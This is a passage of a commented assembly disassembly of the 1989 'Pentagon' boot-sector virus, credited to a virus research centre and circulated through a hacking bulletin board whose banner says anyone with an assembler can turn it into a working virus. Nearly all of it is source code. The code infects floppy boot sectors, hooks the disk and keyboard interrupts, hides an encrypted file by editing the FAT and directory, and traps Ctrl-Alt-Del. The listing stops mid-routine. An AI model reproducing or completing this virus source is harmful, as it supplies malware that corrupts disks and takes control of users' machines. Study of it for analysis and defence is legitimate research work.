;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;
	page	65,132
	title	The 'Pentagon' Virus
; ��������������������������������������������������������������������������ͻ
; �                 British Computer Virus Research Centre                   �
; �  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    �
; �  Telephone:     Domestic   0273-26105,   International  +44-273-26105    �
; �                                                                          �
; �                          The 'Pentagon' Virus                            �
; �                Disassembled by Joe Hirst,      March 1989                �
; �                                                                          �
; �                      Copyright (c) Joe Hirst 1989.                       �
; �                                                                          �
; �      This listing is only to be made available to virus researchers      �
; �                or software writers on a need-to-know basis.              �
; ��������������������������������������������������������������������������ͼ

	; The disassembly has been tested by re-assembly using MASM 5.0.

	; The code section between offsets 59H and C4H (which is normally
	; encrypted) appears to have been separately assemblied using A86.

	; Virus is possibly an honorary term, at least for this sample,
	; as all attempts to run it have so far failed.

	; This virus consists of a boot sector and two files.
	; The boot sector is a normal PCDOS 3.20 boot sector with three
	; changes:

	; 1.	The OEM name 'IBM' has been changed to 'HAL'.

	; 2.	The first part of the virus code overwrites 036H to 0C5H.

	; 3.	100H-122H has been overwritten by a character string.

	; The name of the first file is the hex character 0F9H.  This file
	; contains the rest of the virus code followed by the original boot
	; sector.

	; The name of the second file is PENTAGON.TXT.  This file does not
	; appear to be used in any way or contain any meaningful data.

	; Both files are created without the aid of DOS, and the first
	; file is accessed by its stored absolute location.

	; Four different sections of the virus are separately encrypted:

	; 1.	004AH - 004BH, key 0ABCDH - load decryption key

	; 2.	0059H - 00C4H, key 0FCH - rest of virus code in boot sector.

	; 3.	0791H - 07DFH, key 0AAH - the file name and copyright message.

	; 4.	0800H - 09FFH, key 0FCH - the original boot sector.

SEG70	SEGMENT AT 70H
	ASSUME	CS:SEG70
EXIT:
SEG70	ENDS

BOOT	SEGMENT AT 0

	ORG	413H
BW0413	DW	?

	ORG	417H
BB0417	DB	?

	ORG	51CH
BW051C	DW	?

	ORG	7C0BH
DW7C0B	DW	?

	ORG	7C18H
DW7C18	DW	?
DW7C1A	DW	?

	ORG	7C2AH
DB7C2A	DB	?

	ORG	7C37H
DW7C37	DW	?
DW7C39	DW	?
DB7C3B	DB	?
DB7C3C	DB	?
DW7C3D	DW	?

	ORG	7DB7H
DB7DB7	DB	?

	ORG	7DFDH
DB7DFD	DB	?

	ORG	7E00H
DW7E00	DW	?		; DW008F - Track and sector of rest of code
DW7E02	DW	?		; DW0091 - Head and drive of rest of code
DW7E04	DW	?		; DW0093 - Segment address of virus

BOOT	ENDS

CODE	SEGMENT BYTE PUBLIC 'CODE'
	ASSUME CS:CODE,DS:CODE

	IF1
	ORG	206H
BP0095X	LABEL	NEAR
	ENDIF

	ORG	0
START:	JMP	BP0036

	DB	'HAL  3.2'

	DW	512		; BPB001 - Bytes per sector
	DB	2		; BPB002 - Sectors per allocation unit
	DW	1		; BPB003 - Reserved sectors
	DB	2		; BPB004 - Number of FATs
	DW	112		; BPB005 - Number of root dir entries
	DW	720		; BPB006 - Number of sectors
	DB	0FDH		; BPB007 - Media Descriptor
	DW	2		; BPB008 - Number of sectors per FAT
	DW	9		; BPB009 - Sectors per track
	DW	2		; BPB010 - Number of heads
	DW	0		; BPB011 - Number of hidden sectors (low order)
BPB012	DW	0			; Number of hidden sectors (high order)

	DB	10 DUP (0)

HEADNO	DB	0

	; Interrupt 30 (1EH) - Disk parameter table

DSKTAB	DB	4 DUP (0), 0FH, 4 DUP (0)

	DB	1, 0

BP0036:	CLI
	MOV	AX,CS			; \ Set SS to CS
	MOV	SS,AX			; /
	MOV	SP,0F000H		; Set stack pointer
	MOV	DS,AX			; Set DS to CS
	STI
	MOV	BP,OFFSET BP0044+7C00H
BP0044:	XOR	WORD PTR [BP+6],0ABCDH	; Decrypt key instruction
	NOP
DW004A	EQU	THIS WORD
	MOV	DH,0FCH			; Decryption key
	MOV	BP,OFFSET BP0059+7C00H	; Decryption start address
	MOV	CX,OFFSET DB00C5-BP0059	; Length to decrypt
BP0052:	XOR	[BP+00],DH		; Decrypt a byte
	INC	BP			; Next byte
	LOOP	BP0052			; Repeat for all of it
	NOP
BP0059:	XOR	DW004A+7C00H,0ABCDH	; Re-encrypt key instruction
	MOV	AX,BW0413		; Get RAM size in K
	SUB	AX,0005			; Subtract five K
	MOV	BW0413,AX		; Replace amended RAM size
	MOV	CL,06			; Bits to move
	SHL	AX,CL			; Convert to segment address
	MOV	DW0093+7C00H,AX		; Save segment address
	NOP
	MOV	ES,AX			; Set ES to this segment
	XOR	DI,DI			; Move to start
	MOV	SI,7C00H		; From start of boot sector buffer
	MOV	CX,0200H		; Move one sector
	CLD
	REPZ	MOVSB			; Move sector to high-core
	NOP

	; Move next section of code to a safe area

	MOV	DI,200H+7C00H
	MOV	SI,OFFSET DW008F+7C00H
	MOV	CX,OFFSET DB00C5-DW008F	; Length to move
	PUSH	DS			; \ Set ES to DS
	POP	ES			; /
	CLD
	REPZ	MOVSB			; Copy program section
	JMP	BP0095X			; This is BP0095 in new location

DW008F	DW	0B02H			; Track and sector of rest of code
DW0091	DW	100H			; Head and drive of rest of code
DW0093	DW	9EC0H			; Segment address of virus

BP0095:	MOV	CX,0004			; Number of retries
BP0098:	PUSH	CX
	MOV	CX,DW7E00		; Get track and sector number
	MOV	DX,DW7E02		; Get head and drive number
	MOV	ES,DW7E04		; Get buffer segment address
	MOV	BX,0200H		; Buffer offset
	MOV	AX,0201H		; Read one sector
	INT	13H			; Disk I/O
	JNB	BP00B8			; Branch if no error
	POP	CX
	XOR	AH,AH			; Reset floppy disk sub-system
	INT	13H			; Disk I/O
	LOOP	BP0098			; Retry
	INT	18H			; Drop into basic

BP00B8:	POP	CX
	MOV	AX,OFFSET DW7E04		; Address segment address
	CLI
	MOV	SP,AX			; Point SP at segment address
	STI
	MOV	AX,0200H		; \ Address of second section
	PUSH	AX			; /
	RETF

DB00C5	DB	50H

	; The rest of this sector is a normal PCDOS 3.20 boot sector
	; which has been overwritten at 100H-122H by a character string

	DB	61H, 0

	XOR	AH,AH
	INT	16H
	POP	SI
	POP	DS
	POP	[SI]

DW00D0	DW	0B06H			; Track and sector numbers
DW00D2	DW	0100H			; Head and drive numbers
	DB	19H

	MOV	SI,OFFSET DB7DB7
	JMP	NEAR PTR DB00C5

	MOV	AX,BW051C
	XOR	DX,DX
	DIV	DW7C0B
	INC	AL
	MOV	DB7C3C,AL
	MOV	AX,DW7C37
	MOV	DW7C3D,AX
	MOV	BX,0700H
	MOV	AX,DW7C37
	CALL	BP0137
	MOV	AX,DW7C18
	SUB	AL,DB7C3B
	INC	AX
	PUSH	AX

	DB	'(c) 1987 The Pentagon, Zorell Group'

	DB	7CH
	JMP	FAR PTR EXIT

BP0129:	LODSB
	OR	AL,AL
	JZ	BP0150
	MOV	AH,0EH
	MOV	BX,7
	INT	10H
	JMP	BP0129

BP0137:	XOR	DX,DX
	DIV	DW7C18
	INC	DL
	MOV	DB7C3B,DL
	XOR	DX,DX
	DIV	DW7C1A
	MOV	DB7C2A,DL
	MOV	DW7C39,AX
BP0150:	RET

	MOV	AH,2
	MOV	DX,DW7C39
	MOV	CL,6
	SHL	DH,CL
	OR	DH,DB7C3B
	MOV	CX,DX
	XCHG	CH,CL
	MOV	DL,DB7DFD
	MOV	DH,DB7C2A
	INT	13H
	RET

	DB	0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
	DB	'Replace and strike any key when ready', 0DH, 0AH, 0
	DB	0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
	DB	'IBMBIO  COMIBMDOS  COM'

	ORG	01FEH
	DW	0AA55H

	; Second sector of virus

BP0200:	CLI
	MOV	SP,0F000H		; Reset stack pointer
	STI
	XOR	AX,AX			; \ Address zero
	MOV	DS,AX			; /
	MOV	BX,004CH		; INT 13H jump address
	MOV	BP,01A0H		; INT 68H jump address
	CMP	WORD PTR DS:[BP+0],0	; Is INT 68H in use
	JE	BP0219			; Branch if not
	JMP	BP024E

BP0219:	MOV	AX,[BX]			; Get INT 13H offset
	MOV	DS:[BP+0],AX		; Set INT 68H to this offset
	MOV	AX,[BX+2]		; Get INT 13H segment
	MOV	DS:[BP+2],AX		; Set INT 68H to this segment
	MOV	WORD PTR [BX],OFFSET BP04C4	; Set address of INT 13H routine
	MOV	AX,CS			; \ Set INT 13H segment
	MOV	[BX+2],AX		; /
	MOV	BX,0024H		; INT 9 jump address
	MOV	BP,01A4H		; INT 69H jump address
	MOV	AX,[BX]			; Get INT 9 offset
	MOV	DS:[BP],AX		; Set INT 69H to this offset
	MOV	AX,[BX+2]		; Get INT 9 segment
	MOV	DS:[BP+2],AX		; Set INT 69H to this segment
	MOV	WORD PTR [BX],OFFSET BP0709	; Set address of INT 9 routine
	MOV	AX,CS			; \ Set INT 9 segment
	MOV	[BX+02],AX		; /
	JMP	BP0254

BP024E:	MOV	BX,OFFSET BW0413	; Address size of RAM
	ADD	WORD PTR [BX],5		; Restore the 5K
BP0254:	MOV	BP,OFFSET DW008F	; Address virus pointer
	MOV	CX,CS:[BP]		; Get track and sector
	MOV	DX,CS:[BP+2]		; Get head and device
	MOV	BX,0200H		; Address second sector
	MOV	CX,3			; Three sectors to read
BP0265:	PUSH	CX			; Save read count
	MOV	AX,0201H		; Read one sector
	MOV	CX,CS:[BP]		; Get track and sector
	CALL	BP0300			; Address to next sector
	MOV	CS:[BP],CX		; Save new track and sector
	ADD	BX,0200H		; Address next buffer area
	CALL	BP031B			; Read from disk
	JNB	BP0280			; Branch if no error
	POP	CX
	INT	18H			; Drop into basic

	; Read file, first sector

BP0280:	POP	CX			; Retrieve read count
	LOOP	BP0265			; Repeat for other sectors
	MOV	BP,OFFSET DW00D0	; Address file pointers
	MOV	CX,CS:[BP]		; Get track and sector
	MOV	DX,CS:[BP+2]		; Get head and drive
	MOV	BX,1000H		; Buffer address
	MOV	AX,0201H		; Read one sector
	CALL	BP031B			; Read from disk
	JNB	BP029B			; Branch if no error
	INT	18H			; Drop into basic

	; Read file, second sector

BP029B:	CALL	BP0300			; Address to next sector
	ADD	BX,0200H		; Update buffer address
	MOV	AX,0201H		; Read one sector
	CALL	BP031B			; Read from disk
	JNB	BP02AC			; Branch if no error
	INT	18H			; Drop into basic

BP02AC:	LEA	CX,DB07E0		; Address end of encrypted
	LEA	BX,DB0791		; Address start of encrypted
	SUB	CX,BX			; Length to decrypt
	MOV	AL,0AAH			; Load encryption key
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	CALL	BP0315			; Decrypt
	MOV	AX,CS			; \
	MOV	ES,AX			;  ) Set ES & DS to CS
	MOV	DS,AX			; /
	MOV	DI,0100H		; Middle of 1st sector
	MOV	SI,OFFSET DB07BC	; Address copyright message
	MOV	CX,0023H		; Length of copyright message
	REPZ	MOVSB			; Copy copyright message
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	MOV	CX,0200H		; Length to decrypt
	MOV	BX,0800H		; Address boot sector store
	MOV	AL,0FCH			; Load encryption key
	CALL	BP0315			; Decrypt
	XOR	AX,AX			; \ Segment zero
	MOV	ES,AX			; /
	MOV	DI,7C00H		; Boot sector buffer
	MOV	SI,0800H		; Address boot sector store
	MOV	CX,0200H		; Sector length
	CLD
	REPZ	MOVSB			; Copy boot sector
	DB	0EAH			; Far jump to boot sector
	DW	7C00H, 0

	DB	16 DUP (0)

	; Address to next sector

BP0300:	INC	CL			; Increment sector number
	CMP	CL,0AH			; Is it sector ten?
	JL	BP0314			; Branch if not
	MOV	CL,1			; Set sector to one
	INC	DH			; Increment head
	CMP	DH,2			; Is it head two?
	JL	BP0314			; Branch if not
	XOR	DH,DH			; Set head to zero
	INC	CH			; Increment track
BP0314:	RET

	; Encrypt/decrypt

BP0315:	XOR	[BX],AL			; Encrypt a byte
	INC	BX			; Address next byte
	LOOP	BP0315			; Repeat for count
	RET

	; Read from or write to disk

BP031B:	PUSH	SI
	PUSH	DI
	MOV	SI,AX			; Save function
	MOV	DI,CX			; Save track and sector
	MOV	CX,3			; Number of retries
BP0324:	PUSH	CX
	MOV	AX,SI			; Retrieve function
	MOV	CX,DI			; Retrieve track and sector
	INT	68H			; Disk I/O
	JNB	BP0338			; Branch if no error
	XOR	AH,AH			; Reset sub-system
	INT	68H			; Disk I/O
	POP	CX			; Retrieve number of retries
	LOOP	BP0324			; Retry
	STC
	JMP	BP033B

BP0338:	POP	CX			; Retrieve number of retries
	MOV	CX,DI			; Retrieve track and sector
BP033B:	POP	DI
	POP	SI
	RET

	; Find unused FAT entry pair

BP033E:	PUSH	AX
	PUSH	DX
	PUSH	ES
	PUSH	DI
	PUSH	CS
	POP	ES
	MOV	DX,CX			; Initial cluster number
	XOR	AL,AL			; Search for zero
BP0348:	MOV	CX,3			; Three bytes to check
	MOV	DI,BX			; Address FAT entry pair
	REPZ	SCASB			; Scan for non-zero
	CMP	CX,0			; Is FAT pair unused
	JE	BP0361			; Branch if yes
	ADD	BX,3			; Address next entry pair
	ADD	DX,2			; Update entry count
	CMP	DX,0162H		; Entry 354?
	JLE	BP0348			; Process entry pair if not
	STC
BP0361:	MOV	CX,DX			; Cluster number found
	POP	DI
	POP	ES
	POP	DX
	POP	AX
	RET

	; Find and flag an unused entry

BP0368:	TEST	WORD PTR [BX],0FFFH	; Test first FAT entry
	JZ	BP0384			; Branch if unused
	INC	CX			; Next entry number
	INC	BX			; Address 2nd entry
	TEST	WORD PTR [BX],0FFF0H	; Test second FAT entry
	JZ	BP038B			; Branch if unused
	INC	CX			; Next entry number
	ADD	BX,2			; Address next entry pair
	CMP	CX,0163H		; Entry 355?
	JLE	BP0368			; Process next FAT pair if not
	STC
	JMP	BP0390

BP0384:	OR	WORD PTR [BX],0FFFH	; Flag 1st FAT entry EOF
	JMP	BP038F

BP038B:	OR	WORD PTR [BX],0FFF0H	; Flag 2nd FAT entry EOF
	nop				; ** length adjustment, MASM 5.0
BP038F:	CLC
BP0390:	RET

	; Unflag Brain virus bad clusters

BP0391:	PUSH	AX
	PUSH	BX
	PUSH	CX
	PUSH	DX
	MOV	DX,CX
BP0397:	MOV	AX,[BX]			; Get FAT entry
	AND	AX,0FFFH		; Isolate FAT entry
	CMP	AX,0FF7H		; Bad cluster?
	JE	BP03B8			; Branch if yes
	INC	DX			; Add to cluster number
	INC	BX			; Address next entry
	MOV	AX,[BX]			; Get FAT entry
	MOV	CL,4			; Bits to move
	SHR	AX,CL			; Move FAT entry
	CMP	AX,0FF7H		; Bad Cluster?
	JE	BP03C8			; Branch if yes
	INC	DX			; Add to cluster number
	ADD	BX,2			; Address next pair of entries
	CMP	DX,015FH		; Entry 351?
	JLE	BP0397			; Process this pair if not
BP03B8:	MOV	WORD PTR [BX],0		; \
	MOV	BYTE PTR [BX+2],0	;  ) Clear three entries
	XOR	WORD PTR [BX+3],0FF7H	; /
	JMP	BP03D5

BP03C8:	XOR	WORD PTR [BX],0FF7H	; \
	MOV	WORD PTR [BX+2],0	;  ) Clear three entries
	MOV	BYTE PTR [BX+4],0	; /
BP03D5:	POP	DX
	POP	CX
	POP	BX
	POP	AX
	RET

	; Convert cluster number to track, head and sector

BP03DA:	PUSH	AX
	PUSH	BX
	SUB	CX,2			; Subtract number of 1st cluster
	ADD	CX,CX			; Two sectors per cluster
	ADD	CX,0CH			; Add sector num of 1st cluster
	MOV	AX,CX			; Copy sector number
	PUSH	AX			; Save sector number
	MOV	BL,9			; Nine sectors per track
	DIV	BL			; Divide by sectors per track
	INC	AH			; First sector is one
	MOV	CL,AH			; Move sector number
	XOR	AH,AH			; Clear top of register
	MOV	BL,2			; Two heads
	DIV	BL			; Divide by heads
	MOV	DH,AH			; Move head number
	POP	AX			; Retrieve sector number
	MOV	BL,12H			; 18 sectors per track (both sides)
	DIV	BL			; Divide by sectors per track
	MOV	CH,AL			; Move track number
	POP	BX
	POP	AX
	RET

	; Update directory

BP0401:	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	SI
	PUSH	DI
	MOV	CX,000FH		; Fifteen entries per sector
	XOR	DI,DI			; Start of sector
	CMP	AX,7			; Is this first dir sector
	JNE	BP0416			; Branch if not
	SUB	CX,3			; Subtract three from count
	ADD	DI,60H			; Address fourth entry
BP0416:	CMP	BYTE PTR CS:DB07E1,0FFH	; Is Brain switch on?
	JNE	BP0443			; Branch if not
	CMP	BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
	JNE	BP0443			; Branch if not
	MOV	BYTE PTR CS:DB07E2,0FFH	; Set directory update switch on
	PUSH	SI
	PUSH	DI
	PUSH	CX
	ADD	DI,BX			; Add sector address
	LEA	SI,DB07B1		; Address label
	MOV	CX,000BH		; Length of new label
	CLD
	REPZ	MOVSB			; Copy label
	MOV	BYTE PTR CS:DB07E1,0	; Set Brain switch off
	POP	CX
	POP	DI
	POP	SI
BP0443:	CMP	BYTE PTR ES:[BX+DI],0	; Is entry unused?
	JE	BP0452			; Branch if yes
	ADD	DI,20H			; Address next entry
	LOOP	BP0416			; Process next entry
	STC
	JMP	BP0487

BP0452:	ADD	DI,BX			; Add sector address
	MOV	BX,DI			; Move entry address
	MOV	BYTE PTR [BX],0F9H	; "Filename"
	MOV	BYTE PTR [BX+0BH],23H	; Read-only, hidden attributes
	MOV	CX,CS:DW0784		; Get virus cluster number
	MOV	[BX+1AH],CX		; Store starting cluster
	MOV	WORD PTR [BX+1CH],0800H	; \ File size 2048
	MOV	WORD PTR [BX+1EH],0	; /
	ADD	DI,20H			; Address next entry
	MOV	BX,DI			; Move entry address
	LEA	SI,DB0791		; Address start of encrypted
	MOV	CX,0020H		; One complete entry to move
	CLD
	REPZ	MOVSB			; Move entry
	MOV	CX,CS:DW0786		; Get file cluster number
	MOV	[BX+1AH],CX		; Store starting cluster
	CLC
BP0487:	POP	DI
	POP	SI
	POP	DX
	POP	CX
	POP	BX
	RET

	; Read actual boot sector - Brain infected

BP048D:	PUSH	AX
	PUSH	CX
	PUSH	DX
	MOV	CX,[BX+7]		; Get track and sector
	MOV	DH,[BX+6]		; Get head number
	MOV	AX,0201H		; Read one sector
	CALL	BP031B			; Read from disk
	POP	DX
	POP	CX
	POP	AX
	RET

	; Generate a sound

BP04A0:	MOV	BP,1			; One loop
	MOV	AL,0B6H			; Counter two, both bytes, sq wave
	OUT	43H,AL			; Set PIT control register
	MOV	AX,0533H		; Sound frequency
	OUT	42H,AL			; Send first byte
	MOV	AL,AH			; Get second byte
	OUT	42H,AL			; Send second byte
	IN	AL,61H			; Get port B
	MOV	AH,AL			; Save port B value
	OR	AL,3			; Set sound bits on
	OUT	61H,AL			; Send port B
	SUB	CX,CX			; Maximum loop count
BP04BA:	LOOP	BP04BA			; Delay
	DEC	BP			; Decrement count of loops
	JNZ	BP04BA			; Branch if not zero (it won't be)
	MOV	AL,AH			; Recover original port B
	OUT	61H,AL			; Send port B
	RET

	; Int 13H routine

BP04C4:	STI
	PUSH	AX
	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	DS
	PUSH	SI
	PUSH	ES
	PUSH	DI
	MOV	CS:DB0790,DL		; Save device
	CMP	AH,2			; Is function a read?
	JE	BP04DA			; Branch if yes
	JMP	BP06FC			; Pass on to BIOS

BP04DA:	DEC	CS:DB07E0		; Decrement count
	JZ	BP04E4			; Infect when zero
	JMP	BP06FC			; Pass on to BIOS

	; Get boot sector

BP04E4:	MOV	BYTE PTR CS:DB07E0,10H	; Set count to 16
	PUSH	CS			; \
	POP	AX			;  \ Set DS & ES to CS
	MOV	DS,AX			;  /
	MOV	ES,AX			; /
	MOV	BX,0800H		; Address boot sector store
	MOV	CX,1			; Track zero, sector one
	MOV	DH,0			; Head zero
	MOV	DL,CS:DB0790		; Load device
	MOV	AX,0201H		; Read one sector
	CALL	BP031B			; Read from disk
	JNB	BP0508			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

	; Check for Brain virus

BP0508:	CMP	WORD PTR [BX+4],1234H	; Is it a Brain boot sector?
	JNE	BP051D			; Branch if not
	MOV	BYTE PTR CS:DB07E1,0FFH	; Set Brain switch on
	CALL	BP048D			; Read actual boot sector
	JNB	BP052D			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

	; Check for Pentagon virus

BP051D:	MOV	BYTE PTR CS:DB07E1,0	; Set Brain switch off
	CMP	WORD PTR [BX+4AH],577BH	; Is it infected by pentagon?
	JNE	BP052D			; Branch if not
	JMP	BP06FC			; Pass on to BIOS

	; Check for DOS boot sector

BP052D:	CMP	WORD PTR [BX+01FEH],0AA55H	; Is it a valid boot sector
	JE	BP0538			; Branch if yes
	JMP	BP06FC			; Pass on to BIOS

	; Get first FAT sector

BP0538:	ADD	BX,0200H		; Update buffer address
	INC	CL			; Next sector
	MOV	AX,0201H		; Read one sector
	CALL	BP031B			; Read from disk
	JNB	BP0549			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

	; Check media byte

BP0549:	CMP	BYTE PTR [BX],0FDH	; Is it 360K disk
	JE	BP0551			; Branch if yes
	JMP	BP06FC			; Pass on to BIOS

	; Get second sector of FAT

BP0551:	ADD	BX,0200H		; Update buffer address
	INC	CL			; Next sector
	MOV	AX,0201H		; Read one sector
	CALL	BP031B			; Read from disk
	JNB	BP0562			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

BP0562:	CMP	BYTE PTR CS:DB07E1,0FFH	; Test Brain switch
	JNE	BP0573			; Branch if off
	MOV	BX,0A03H		; Address first cluster in FAT
	MOV	CX,2			; First cluster is number two
	CALL	BP0391			; Unflag Brain virus bad clusters
BP0573:	MOV	BX,0A96H		; \ Start from cluster 100
	MOV	CX,0064H		; /
	CALL	BP033E			; Find unused FAT entry pair
	JNB	BP0581			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

BP0581:	MOV	CS:DW0784,CX		; Save virus cluster number
	INC	CX			; Next cluster number
	MOV	[BX],CX			; Put it in first FAT entry
	OR	WORD PTR [BX+01],0FFF0H	; Flag 2nd entry as EOF
	nop				; ** length adjustment, MASM 5.0
	DEC	CX			; Set cluster number back
	CALL	BP03DA			; Cluster num to trck/hd/sect
	MOV	CS:DW0788,CX		; Save virus track & sector
	MOV	CS:DW078A,DX		; Save virus head and drive
	PUSH	BP
	MOV	BP,OFFSET DW008F	; Address virus pointer
	MOV	CS:[BP+00],CX		; Save virus track & sector
	MOV	CS:[BP+03],DH		; Save virus head
	POP	BP
	MOV	BX,0A96H		; \ Start from cluster 100
	MOV	CX,0064H		; /
	CALL	BP0368			; Find an unused FAT entry
	JNB	BP05B7			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

BP05B7:	MOV	CS:DW0786,CX		; Save file cluster number
	CALL	BP03DA			; Cluster num to trck/hd/sect
	MOV	CS:DW078C,CX		; Save file track & sector
	MOV	CS:DW078E,DX		; Save file head and drive
	PUSH	BP
	MOV	BP,OFFSET DW00D0	; Address file pointers
	MOV	CS:[BP],CX		; Save track and sector
	MOV	CS:[BP+3],DH		; Save head
	POP	BP
	MOV	AL,0FCH			; Load encryption key
	MOV	BX,0800H		; Address boot sector store
	MOV	CX,0200H		; Length to encrypt
	CALL	BP0315			; Encrypt/decrypt
	MOV	BYTE PTR CS:DB07E0,20H	; Set count to 32
	LEA	CX,DB07E0		; Address end of encrypted
	LEA	BX,DB0791		; Address start of encrypted
	SUB	CX,BX			; Length to encrypt
	MOV	AL,0AAH			; Load encryption key
	CALL	BP0315			; Encrypt/decrypt
	MOV	BX,0200H		; Virus second sector
	MOV	AX,0301H		; Write one sector
	MOV	CX,CS:DW0788		; Get virus track & sector
	MOV	DX,CS:DW078A		; Get virus head and drive
	MOV	DL,CS:DB0790		; Load device
	CALL	BP031B			; Write to disk
	JNB	BP0613			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

BP0613:	MOV	AX,3			; Three sectors to write
BP0616:	PUSH	AX			; Save write count
	ADD	BX,0200H		; Next sector buffer
	MOV	AX,0301H		; Write one sector
	CALL	BP0300			; Address to next sector
	CALL	BP031B			; Write to disk
	JB	BP062D			; Branch if error
	POP	AX			; Retrieve write count
	DEC	AX			; Decrement count
	JNZ	BP0616			; Repeat for each sector
	JMP	BP0631

BP062D:	POP	AX
	JMP	BP06FC			; Pass on to BIOS

	; Write file

BP0631:	LEA	CX,DB07E0		; Address end of encrypted
	LEA	BX,DB0791		; Address start of encrypted
	SUB	CX,BX			; Length to encrypt
	MOV	AL,0AAH			; Load encryption key
	CALL	BP0315			; Encrypt/decrypt
	MOV	BYTE PTR CS:DB07E0,10H	; Set count to 16
	MOV	CX,CS:DW078C		; Get file track & sector
	MOV	DX,CS:DW078E		; Get file head and drive
	MOV	DL,CS:DB0790		; Load device
	MOV	BX,1000H		; Address file buffer
	MOV	AX,2			; Two sectors to write
BP065B:	PUSH	AX			; Save write count
	MOV	AX,0301H		; Write one sector
	CALL	BP031B			; Write to disk
	JB	BP062D			; Branch if error
	CALL	BP0300			; Address to next sector
	ADD	BX,0200H		; Address next sector buffer
	POP	AX			; Retrieve write count
	DEC	AX			; Decrement write count
	JNZ	BP065B			; Write each sector
	MOV	BX,OFFSET BP0059	; Start of encrypted
	MOV	CX,OFFSET DB00C5-BP0059	; Length to encrypt
	MOV	AL,0FCH			; Load encryption key
	CALL	BP0315			; Encrypt
	XOR	BX,BX			; Address start of virus
	MOV	AX,0301H		; Write one sector
	MOV	CX,1			; Track zero, sector 1
	XOR	DH,DH			; Head zero
	CALL	BP031B			; Write to disk
	JNB	BP068C			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

	; Write 1st FAT sector

BP068C:	MOV	BX,OFFSET BP0059
	MOV	CX,OFFSET DB00C5-BP0059	; Length to decrypt
	MOV	AL,0FCH			; Load encryption key
	CALL	BP0315			; Decrypt
	MOV	BX,0A00H		; Address 1st FAT sector
	MOV	AX,0301H		; Write one sector
	MOV	CX,2			; Track zero, sector 2
	CALL	BP031B			; Write to disk
	JNB	BP06A8			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

	; Write 2nd FAT sector

BP06A8:	ADD	BX,0200H		; Address 2nd FAT sector
	MOV	AX,0301H		; Write one sector
	INC	CX			; Next sector
	CALL	BP031B			; Write to disk
	JNB	BP06B8			; Branch if no error
	JMP	BP06FC			; Pass on to BIOS

	; Create directory entries

BP06B8:	MOV	BX,0E00H		; Address directory
	MOV	CX,5			; Track zero, sector 5
	XOR	DH,DH			; Head zero
	MOV	AX,7			; Seven sectors to read
BP06C3:	PUSH	AX			; Save read count
	MOV	AX,0201H		; Read one sector
	CALL	BP0300			; Address to next sector
	CALL	BP031B			; Read from disk
	JB	BP06F1			; Branch if error
	POP	AX			; \ Retrieve and save read count
	PUSH	AX			; /
	MOV	BYTE PTR CS:DB07E2,0	; Set directory update switch off
	CALL	BP0401			; Update directory
	JNB	BP06F5			; Branch if entry found
	CMP	BYTE PTR CS:DB07E2,0FFH	; Test directory update switch
	JNE	BP06EA			; Branch if off
	MOV	AX,0301H		; Write one sector
	CALL	BP031B			; Write to disk
BP06EA:	POP	AX			; Retrieve sector count
	DEC	AX			; Decrement sector count
	JNZ	BP06C3			; Repeat for each sector
	JMP	BP06FC			; Pass on to BIOS

BP06F1:	POP	AX
	JMP	BP06FC			; Pass on to BIOS

BP06F5:	POP	AX
	MOV	AX,0301H		; Write one sector
	CALL	BP031B			; Write to disk
BP06FC:	POP	DI
	POP	ES
	POP	SI
	POP	DS
	POP	DX
	POP	CX
	POP	BX
	POP	AX
	INT	68H			; Disk I/O
	RETF	2

		; Int 9 routine

BP0709:	PUSH	AX
	PUSH	BX
	PUSH	DS
	MOV	BYTE PTR CS:DB07E3,0	; Set off reboot switch
	XOR	AX,AX			; \ Address zero
	MOV	DS,AX			; /
	IN	AL,60H			; Get keyboard token
	MOV	BX,OFFSET BB0417	; Address Key states
	TEST	BYTE PTR [BX],8		; Alt key depressed?
	JZ	BP0736			; Branch if not
	TEST	BYTE PTR [BX],4		; Ctrl key depressed?
	JZ	BP0736			; Branch if not
	CMP	AL,53H			; Del character token?
	JNE	BP0736			; Branch if not
	XOR	BYTE PTR [BX],0CH	; Set off Alt & Ctrl states
	XOR	AL,AL			; \ ?
	OUT	60H,AL			; /
	MOV	BYTE PTR CS:DB07E3,0FFH	; Set on reboot switch
BP0736:	POP	DS
	POP	BX
	POP	AX
	INT	69H			; Keyboard I/O
	PUSHF
	CMP	BYTE PTR CS:DB07E3,0FFH	; Test reboot switch
	JNE	BP0765			; Branch if off
	POPF
	MOV	AX,3			; Set mode three
	INT	10H			; VDU I/O
	CLI
	MOV	AL,0AH			; Repeat delay 10 times
	XOR	CX,CX			; Maximum loop
BP074F:	LOOP	BP074F			; Delay
	DEC	AL			; Decrement delay count
	JNZ	BP074F			; Repeat delay for count
	CALL	BP04A0			; Generate a sound
	XOR	CX,CX			; Maximum loop
